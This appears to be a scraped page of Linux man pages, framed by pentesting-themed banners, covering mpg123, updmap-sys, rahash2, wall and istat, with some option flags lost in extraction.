Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1961 - Linux cli command updmap-sys

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command updmap-sys and provides detailed information about the command updmap-sys, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the updmap-sys.

NAME 🖥️ updmap-sys 🖥️

manage TeX font maps
updmap-sys - manage TeX font maps, system-wide
updmap-user - manage TeX font maps, per-user

SYNOPSIS

updmap [-user|-sys] [OPTION] … [COMMAND]
updmap-user [OPTION] … [COMMAND]
updmap-sys [OPTION] … [COMMAND]

DESCRIPTION

updmap version r65932 (2023-02-19 21:49:48 +0100)

Update the default font map files used by pdftex and dvipdfm(x) (pdftex.map), dvips (psfonts.map), and optionally pxdvi, as determined by all configuration files updmap.cfg (usually the ones returned by running “kpsewhich –all updmap.cfg”, but see below).

Among other things, these map files are used to determine which fonts should be used as bitmaps and which as outlines, and to determine which font files are included, typically subsetted, in the PDF or PostScript output.

updmap-sys (or updmap -sys) is intended to affect the system-wide configuration, while updmap-user (or updmap -user) affects personal configuration files only, overriding the system files.

As a consequence, once updmap-user has been run, even a single time, running updmap-sys no longer has any effect. updmap-sys issues a warning about this, since it is rarely desirable. See https://tug.org/texlive/scripts-sys-user.html for details.

By default, the TeX filename database (ls-R) is also updated.

The updmap system is regrettably complicated, for both inherent and historical reasons. A general overview:

- updmap.cfg files are mainly about listing other files, namely the

font-specific .maps, in which each line gives information about a different TeX (.tfm) font.

- updmap reads the updmap.cfg files and then concatenates the

contents of those .map files into the main output files: psfonts.map for dvips and pdftex.map for pdftex and dvipdfmx.

- The updmap.cfg files themselves are created and updated at package

installation time, by the system installer or the package manager or by hand, and not (by default) by updmap.

OPTIONS

–cnffile FILE
read FILE for the updmap configuration (can be given multiple times, in which case all the files are used)

–dvipdfmxoutputdir DIR
specify output directory (dvipdfm(x) syntax)

–dvipsoutputdir DIR
specify output directory (dvips syntax)

–pdftexoutputdir DIR
specify output directory (pdftex syntax)

–pxdvioutputdir DIR
specify output directory (pxdvi syntax)

–outputdir DIR
specify output directory (for all files)

–copy
cp generic files rather than using symlinks

–force
recreate files even if config hasn’t changed

–nomkmap
do not recreate map files

–nohash
do not run mktexlsr (a.k.a. texhash)

–sys
affect system-wide files (equivalent to updmap-sys)

–user
affect personal files (equivalent to updmap-user)

-n, –dry-run
only show the configuration, no output

–quiet, –silent
reduce verbosity

Commands:

–help
show this message and exit

–version
show version information and exit

–showoption OPTION
show the current setting of OPTION

–showoptions OPTION
show possible settings for OPTION

–setoption OPTION VALUE
set OPTION to value; option names below

–setoption OPTION=VALUE
as above, just different syntax

–enable MAPTYPE MAPFILE
add “MAPTYPE MAPFILE” to updmap.cfg, where MAPTYPE is Map, MixedMap, or KanjiMap

–enable Map=MAPFILE
add “Map MAPFILE” to updmap.cfg

–enable MixedMap=MAPFILE
add “MixedMap MAPFILE” to updmap.cfg

–enable KanjiMap=MAPFILE
add “KanjiMap MAPFILE” to updmap.cfg

–disable MAPFILE
disable MAPFILE, of whatever type

–listmaps
list all maps (details below)

–listavailablemaps
list available maps (details below)

–syncwithtrees
disable unavailable map files in updmap.cfg

The main output:

The main output of updmap is the files containing the individual font map lines which the drivers (dvips, pdftex, etc.) read to handle fonts.

The map files for dvips (psfonts.map) and pdftex and dvipdfmx (pdftex.map) are written to TEXMFVAR/fonts/map/updmap/{dvips,pdftex}/.

In addition, information about Kanji fonts is written to TEXMFVAR/fonts/map/updmap/dvipdfmx/kanjix.map, and optionally to TEXMFVAR/fonts/map/updmap/pxdvi/xdvi-ptex.map. These are for Kanji only and are not like other map files. dvipdfmx reads pdftex.map for the map entries for non-Kanji fonts.

If no option is given, so the invocation is just “updmap-user” or “updmap-sys”, these output files are always recreated.

Otherwise, if an option such as –enable or –disable is given, the output files are recreated if the list of enabled map files (from updmap.cfg) has changed. The –force option overrides this, always recreating the output files.

Explanation of the map types:

The normal type is Map.

The only difference between Map and MixedMap is that MixedMap entries are not added to psfonts_pk.map. The purpose is to help users with devices that render Type 1 outline fonts worse than mode-tuned Type 3 bitmap fonts. So, MixedMap is used for fonts that are available as both Type 1 and Metafont.

KanjiMap entries are added to psfonts_t1.map and kanjix.map.

Explanation of the OPTION names for –showoptions, –showoption, –setoption:

dvipsPreferOutline
true,false (default true)

Whether dvips uses bitmaps or outlines, when both are available.

dvipsDownloadBase35
true,false (default true)

Whether dvips includes the standard 35 PostScript fonts in its output.

pdftexDownloadBase14
true,false (default true)

Whether pdftex includes the standard 14 PDF fonts in its output.

pxdviUse
true,false (default false)

Whether maps for pxdvi (Japanese-patched xdvi) are under updmap’s control.

jaEmbed
(any string)

jaVariant
(any string)

scEmbed
(any string)

tcEmbed
(any string)

koEmbed
(any string)

See below.

LW35
URWkb,URW,ADOBEkb,ADOBE (default URWkb)

Adapt the font and file names of the standard 35 PostScript fonts.

URWkb
URW fonts with "berry" filenames    (e.g. uhvbo8ac.pfb)
URW
URW fonts with "vendor" filenames   (e.g. n019064l.pfb)

ADOBEkb
Adobe fonts with “berry” filenames (e.g. phvbo8an.pfb)

ADOBE
Adobe fonts with “vendor” filenames (e.g. hvnbo___.pfb)

These options are only read and acted on by updmap; dvips, pdftex, etc., do not know anything about them. They work by changing the default map file which the programs read, so they can be overridden by specifying command-line options or configuration files to the programs, as explained at the beginning of updmap.cfg.

The options jaEmbed and jaVariant (formerly kanjiEmbed and kanjiVariant) specify special replacements in the map lines. If a map contains the string @jaEmbed@, then this will be replaced by the value of that option; similarly for jaVariant. In this way, users of Japanese TeX can select different fonts to be included in the final output. The counterpart for Simplified Chinese, Traditional Chinese and Korean fonts are scEmbed, tcEmbed and koEmbed respectively.

ENVIRONMENT

Explanation of trees and files normally used:

If –cnffile is specified on the command line (can be given multiple times), its value(s) is(are) used. Otherwise, updmap reads all the updmap.cfg files found by running `kpsewhich -all updmap.cfg’, in the order returned by kpsewhich (which is the order of trees defined in texmf.cnf).

In either case, if multiple updmap.cfg files are found, all the maps mentioned in all the updmap.cfg files are merged.

Thus, if updmap.cfg files are present in all trees, and the default layout is used as shipped with TeX Live on Debian, the following files are read, in the given order.

For updmap-sys:
TEXMFSYSCONFIG /etc/texmf/web2c/updmap.cfg
TEXMFSYSVAR    /var/lib/texmf/web2c/updmap.cfg
TEXMFLOCAL     /usr/local/share/texmf/web2c/updmap.cfg
TEXMFDEBIAN    /usr/share/texmf/web2c/updmap.cfg
TEXMFDIST      /usr/share/texlive/texmf/web2c/updmap.cfg
For updmap-user:
TEXMFCONFIG    $HOME/.texmf-config/web2c/updmap.cfg
TEXMFVAR       $HOME/.texmf-var/web2c/updmap.cfg
TEXMFHOME      $HOME/texmf/web2c/updmap.cfg
TEXMFSYSCONFIG /etc/web2c/updmap.cfg
TEXMFSYSVAR    /var/lib/texmf/web2c/updmap.cfg
TEXMFLOCAL     /usr/local/share/texmf/web2c/updmap.cfg
TEXMFDEBIAN    /usr/share/texmf/web2c/updmap.cfg
TEXMFDIST      /usr/share/texlive/texmf/web2c/updmap.cfg

According to the actions, updmap might write to one of the given files or create a new updmap.cfg, described further below.

Where and which updmap.cfg changes are saved:

When no options are given, the updmap.cfg file(s) are only read, not written. It’s when an option –setoption, –enable or –disable is specified that an updmap.cfg needs to be updated. In this case:

1) If config files are given on the command line, then the first one given is used to save any such changes.

2) If the config files are taken from kpsewhich output, then the algorithm is more complex:

2a) If $TEXMFCONFIG/web2c/updmap.cfg or $TEXMFHOME/web2c/updmap.cfg appears in the list of used files, then the one listed first by kpsewhich –all (equivalently, the one returned by kpsewhich updmap.cfg), is used.

2b) If neither of the above two are present and changes are made, a new config file is created in $TEXMFCONFIG/web2c/updmap.cfg.

In general, the idea is that if the user cannot write to a given config file, a higher-level one can be used. That way, the distribution’s settings can be overridden system-wide using TEXMFLOCAL, and system settings can be overridden again in a particular user’s TEXMFHOME or TEXMFCONFIG.

Resolving multiple definitions of a font:

If a font is defined in more than one map file, then the definition coming from the first-listed updmap.cfg is used. If a font is defined multiple times within the same map file, one is chosen arbitrarily. In both cases a warning is issued.

Disabling maps:

updmap.cfg files with higher priority (listed earlier) can disable maps mentioned in lower priority (listed later) updmap.cfg files by writing, e.g.,

#! Map mapname.map

or

#! MixedMap mapname.map

in the higher-priority updmap.cfg file.
(The #! must be at the

beginning of the line, with at least one space or tab afterward, and whitespace between each word on the list.)

As an example, suppose you have a copy of MathTime Pro fonts and want to disable the Belleek version of the fonts; that is, disable the map belleek.map. You can create the file $TEXMFCONFIG/web2c/updmap.cfg with the content

#! Map belleek.map Map mt-plus.map Map mt-yy.map

and call updmap.

Listing of maps:

The two options –listmaps and –listavailablemaps list all maps defined in any of the updmap.cfg files (for –listmaps), and only those actually found on the system (for –listavailablemaps). The output format is one line per font map, with the following fields separated by tabs: map, type (Map, MixedMap, KanjiMap), status (enabled, disabled), origin (the updmap.cfg file where it is mentioned, or ‘builtin’ for the three basic maps).

In the case of –listmaps there can be one additional fields (again separated by tab) containing ‘(not available)’ for those map files that cannot be found.

updmap-user vs. updmap-sys:

When updmap-sys is run, TEXMFSYSCONFIG and TEXMFSYSVAR are used instead of TEXMFCONFIG and TEXMFVAR, respectively. This is the primary difference between updmap-sys and updmap-user.

Other locations may be used if you give them on the command line, or these trees don’t exist, or you are not using the original TeX Live.

To see the precise locations of the various files that will be read and written, give the -n option (or read the source).

EXAMPLES

The log file is written to TEXMFVAR/web2c/updmap.log.

For step-by-step instructions on making new fonts known to TeX, read https://tug.org/fonts/fontinstall.html. For even more terse instructions, read the beginning of the main updmap.cfg file.

FILES

Configuration and input files:

updmap.cfg
Main configuration file. In texmf-dist/web2c by default, but may be located elsewhere depending on your distribution. Each texmf tree read should have its own updmap.cfg.

dvips35.map
Map file for standard 35 PostScript fonts for use with dvips(1).

pdftex35.map
Map file for standard 35 PostScript fonts for use with pdftex(1).

ps2pk35.map
Map file for standard 35 PostScript fonts for use with ps2pk(1).

Output files:

psfonts.map
For dvips(1). Same as psfonts_t1.map if option dvipsPreferOutline active, else as psfonts_pk.map.

psfonts_pk.map
For dvips(1). Without information from MixedMap files. (Setting of dvipsPreferOutline ignored.)

psfonts_t1.map
For dvips(1). With information from MixedMap files. (Setting of dvipsPreferOutline ignored.)

download35.map
For dvips(1). Always downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.)

builtin35.map
For dvips(1). Never downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.)

pdftex.map
For pdftex(1). Same as pdftex_dl14.map if option pdftexDownloadBase14 active, else as pdftex_ndl14.map.

pdftex_dl14.map
For pdftex(1). Always downloads the standard 14 fonts.

pdftex_ndl14.map
For pdftex(1). Never downloads the standard 14 fonts.

ps2pk.map
Similar to psfonts.map file, but forces all fonts to be downloaded, so this map file can be used with xdvi(1) and ps2pk(1).

Configuration files for dvips(1):

config.builtin35
Loads builtin35.map instead of psfonts.map.

config.download35
Loads download35.map instead of psfonts.map.

config.outline
Loads psfonts_t1.map instead of psfonts.map.

config.pdf
Loads psfonts_t1.map instead of psfonts.map and has additional settings for PDF generation.

config.pk
Loads psfonts_pk.map instead of psfonts.map.

config.www
Loads psfonts_t1.map instead of psfonts.map. (For compatibility with old versions.)

config.gstopk
Loads psfonts_t1.map instead of psfonts.map.

REPORTING BUGS

Report bugs to: [email protected]
TeX Live home page: <https://tug.org/texlive/>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1962 - Linux cli command rahash2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rahash2 and provides detailed information about the command rahash2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rahash2.

This program is part of the radare project.

It’s particularly useful for hashing large files and identifying modifications in forensics filesystem analysis.

This command provides the same features as the ‘ph’ command of radare.

Comma-separated list of algorithms to use when hashing files or strings. Refer to -L to list supported hashing algorithms. This flag can be passed multiple times instead of separating them by commas.

Specify the block size.

Compare the computed hash with the provided one. This is allowed only when a single hash is computed.

Decrypt using the specified algorithm. Use -S to set the key and -I to set the IV.

Swap endianness to show digests or injest keys in big or little endian.

Encrypt using the specified algorithm. Use -S to set the key and -I to set the IV.

Start hashing at the given address.

Repeat hash `num` iterations.

Use the given initialization vector (IV) (hexadecimal or string).

Display output in JSON format.

New simplified JSON output format (equivalent to -jj).

Display hash using OpenSSH’s randomkey algorithm.

List available hash, checksum and crypto plugins. This flag can be combined with -j to read the results in JSON format.

Hash the provided string instead of using the ‘source’ and ‘hash-file’ arguments.

Use the given seed (hexadecimal or string). Use ^ to prefix (key for -E). ‘-’ will slurp the key from stdin, and ‘@’ prefix points to a file.

Stop hashing at the given address.

Hash the provided hexadecimal string instead of using ‘source’ and ‘hash-file’ arguments.

Output of encryption in hexpairs instead of raw (see -j for json output)

Display version information.

Calculate the MD5 hash of the ’ls’ binary:

$ rahash2 -qqa md5 /bin/ls

Calculate the SHA256 hash of string from stdin:

$ echo -n “Hello, World” | rahash2 -a sha256 - $ rahash2 -a sha256 -s “Hello, World”

Compare CRC32 of the given file didnt changed:

$ rahash2 -qqa crc32 /bin/ls 63212007 $ rahash2 -a crc32 -c 63212007 /bin/ls INFO: Computed hash matches the expected one $ echo $? 0

List only the cryptographic plugins loaded:

$ rahash2 -L | grep ^c

$ rahash2 -qqa crc32 /bin/ls

Encode the string “Hello World” with base64:

$ rahash2 -E base64 -s “Hello World”

Calculate SHA256 hash of a specific part of a file:

$ rahash2 -qqa sha256 -f 0x1000 -t 0x2000 file_to_hash

Encrypt and decrypt the “hello” string using the ror and rol plugins:

$ rahash2 -S 12333 -E ror -s hello && echo Cell{ $ rahash2 -S 12333 -E rol -s Cell{ && echo hello

Encrypting and decrypting using AES-CBC:

$ export AES_KEY=“11111111111111111111111111113211” $ rahash2 -E aes-ecb -S “$AES_KEY” -s “hello world you bastard” > .file $ cat .file | rahash2 -D aes-ecb -S “$AES_KEY” -s - && echo

Encrypting a file using Blowfish and encode it into a json:

$ rahash2 -E blowfish -S “11111111111111111111111111113211” -j /bin/ls > ls.json

When using the -c flag, an exit status of 0 indicates a match between the expected and computed hashes.

https://www.radare.org/

pancake <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1963 - Linux cli command wall

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wall and provides detailed information about the command wall, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wall.

NAME 🖥️ wall 🖥️

write a message to all users

SYNOPSIS

wall [-n] [-t timeout] [-g group] [message | file]

DESCRIPTION

wall displays a message, or the contents of a file, or otherwise its standard input, on the terminals of all currently logged in users. The command will wrap lines that are longer than 79 characters. Short lines are whitespace padded to have 79 characters. The command will always put a carriage return and new line at the end of each line.

Only the superuser can write on the terminals of users who have chosen to deny messages or are using a program which automatically denies messages.

Reading from a file is refused when the invoker is not superuser and the program is set-user-ID or set-group-ID.

OPTIONS

-n, –nobanner

Suppress the banner.

-t, –timeout timeout

Abandon the write attempt to the terminals after timeout seconds. This timeout must be a positive integer. The default value is 300 seconds, which is a legacy from the time when people ran terminals over modem lines.

-g, –group group

Limit printing message to members of group defined as a group argument. The argument can be group name or GID.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

NOTES

Some sessions, such as wdm(1x), that have in the beginning of utmp(5) ut_type data a : character will not get the message from wall. This is done to avoid write errors.

HISTORY

A wall command appeared in Version 7 AT&T UNIX.

SEE ALSO

mesg(1), talk(1), write(1), shutdown(8)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The wall command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1964 - Linux cli command istat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command istat and provides detailed information about the command istat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the istat.

NAME 🖥️ istat 🖥️

Display details of a meta-data structure (i.e. inode)

SYNOPSIS

istat [-B num ] [-f fstype ] [-i imgtype] [-o imgoffset] [-b dev_sector_size] [-vV] [-z zone ] [-s seconds ] image [images] inode

DESCRIPTION

istat displays the uid, gid, mode, size, link number, modified, accessed, changed times, and all the disk units a structure has allocated.

The options are as follows:

-B num
Display the addresses of num disk units. Useful when the inode is unallocated with size 0, but still has block pointers.

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-s seconds
The time skew of the original system in seconds. For example, if the original system was 100 seconds slow, this value would be -100.

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-o imgoffset
The sector offset where the file system starts in the image.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-v
Verbose output of debugging statements to stderr

-V
Display version

-z zone
An ASCII string of the original system’s time zone. For example, EST5EDT or GMT. These strings are defined by the operating system and may vary. NOTE: This has changed since TCTUTILs.

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

inode
Meta-data number to display stats on

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
